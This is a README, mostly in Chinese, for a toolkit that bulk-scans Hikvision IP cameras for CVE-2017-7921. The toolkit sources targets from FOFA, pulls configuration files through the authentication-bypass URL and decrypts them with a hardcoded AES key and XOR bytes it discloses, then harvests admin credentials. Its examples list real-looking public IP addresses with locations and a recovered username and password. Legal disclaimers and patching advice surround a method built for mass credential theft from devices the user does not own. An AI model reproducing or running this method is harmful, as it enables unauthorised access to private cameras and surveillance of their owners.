
新发布Aug 10, 2026
CVE-2017-7921-Research-Toolkit GUI
Used to quickly test the Hikvision CVE-2017-7921 vulnerability with FOFA, and provide the login account and password, and output a JSON file.
CVE-2017-7921 Research Toolkit
安全声明:本工具仅供授权安全研究与漏洞验证使用
目录
⚖️ 法律与道德声明
重要提示:使用本工具即表示您同意以下条款
- 仅限授权测试:仅用于您拥有明确书面授权的系统
- 遵守法律:严格遵守《网络安全法》及所在地相关法律法规
- 负责任披露:发现漏洞请通过官方渠道报告厂商
- 教育目的:本工具旨在提升物联网安全意识
- 后果自负:滥用本工具造成的法律后果由使用者自行承担
本项目遵循 GitHub 安全研究政策 及 海康威视安全响应中心 的披露规范。
📖 项目描述
针对海康威视IP摄像头 CVE-2017-7921 身份验证绕过漏洞的批量检测与验证工具,支持配置文件的自动解密与凭证提取。
设计目标
- 帮助安全研究人员评估大规模设备的安全状态
- 为设备所有者提供自检能力
- 支持生成修复建议报告
- 推动物联网设备安全升级
✨ 功能特性
- ✅ 批量扫描JSON格式设备列表
- ✅ 多线程并发检测(可配置线程数)
- ✅ 自动下载加密的配置文件
- ✅ 实时解密并提取登录凭据
- ✅ 扫描进度实时显示(tqdm)
- ✅ 结果自动保存为JSON报告
- ✅ 支持中断后继续扫描
🛠️ 安装说明
环境要求
- Python 3.7 或更高版本
- 仅支持 Linux / macOS(Windows 下部分功能受限)
依赖安装
git clone https://github.com/[你的用户名]/CVE-2017-7921-Research-Toolkit.git
cd CVE-2017-7921-Research-Toolkit
pip install -r requirements.txt
requirements.txt 内容
requests>=2.28.0
pycryptodome>=3.15.0
tqdm>=4.64.0
📊 使用方法
1. 准备设备数据文件
在工具目录下创建 zc/ 文件夹,将设备列表以JSON格式放入(每行一个设备对象):
mkdir zc
文件示例: devices_2025.json
{"city":"Lisbon","country":"PT","host":"109.50.152.186","link":"http://109.50.152.186:80"}
{"city":"Sao Paulo","country":"BR","host":"200.201.192.75","link":"http://200.201.192.75:8080"}
字段说明:
| 字段 | 说明 | 必需 |
|---|---|---|
link | 设备HTTP/HTTPS访问地址 | ✅ 是 |
city | 城市信息 | ❌ 否 |
country | 国家代码 | ❌ 否 |
org | 组织/ISP信息 | ❌ 否 |
2. 运行扫描工具
python batch_decrypt.py
3. 交互式操作示例
════════════════════════════════════════════════════════════════════════════════
海康威视摄像头配置文件漏洞批量扫描工具
════════════════════════════════════════════════════════════════════════════════
可用的JSON文件:
════════════════════════════════════════════════════════════════════════════════
1. devices_2025.json (45,678 字节)
════════════════════════════════════════════════════════════════════════════════
请选择文件编号: 1
已选择文件: devices_2025.json
正在加载设备数据...
待扫描设备总数: 2000
请输入并发线程数 (默认: 5): 10
并发线程数: 10
开始扫描...
已扫描设备总数: 2000
发现漏洞设备数: 127
漏洞设备已保存到: vulnerable_devices.json
📁 输出结果
扫描完成后生成 vulnerable_devices.json,包含所有存在漏洞的设备信息。
示例输出:
[
{
"url": "http://109.50.152.186",
"config_url": "http://109.50.152.186/System/configurationFile?auth=YWRtaW46MTEK",
"username": "admin",
"password": "123456",
"city": "Lisbon",
"country": "PT",
"org": "ISP Telecom",
"status": "success"
}
]
🛡️ 防御与修复建议
对于设备所有者
- 立即升级固件:访问 海康威视官网 下载最新版本
- 修改默认密码:即使已升级,也应更改默认admin密码
- 网络隔离:将摄像头部署在独立VLAN,禁止公网直接访问
- 启用IP白名单:仅允许可信IP访问管理接口
对于安全从业者
- 扫描结果保密:不得泄露未修复设备的详细信息
- 协助修复:主动联系设备所有者提供技术支持
- 合规报告:生成符合ISO 27001标准的安全评估报告
🔬 技术细节
漏洞原理
- 认证绕过:
/System/configurationFile?auth=YWRtaW46MTEK使用硬编码凭证 - 弱加密:配置文件采用固定AES-ECB密钥加密
- 密钥泄露:密钥
279977f62f6cfd2d91cd75b889ce0c9a硬编码在固件中
加密流程
- 获取加密的二进制配置文件
- AES-ECB解密(去除首块)
- XOR混淆(密钥:
0x73, 0x8B, 0x55, 0x44) - 正则提取admin账号和后续密码字段
📝 许可证
本软件仅供授权安全研究和教育用途。使用者应自行确保符合所有适用法律。
🙏 致谢
- 感谢海康威视及时响应并发布固件更新
- 感谢开源社区提供的漏洞分析资料
- 本项目遵循 IoT安全研究最佳实践
最后更新:2025-01-29 | 版本:v1.0.0 | 支持CVE:CVE-2017-7921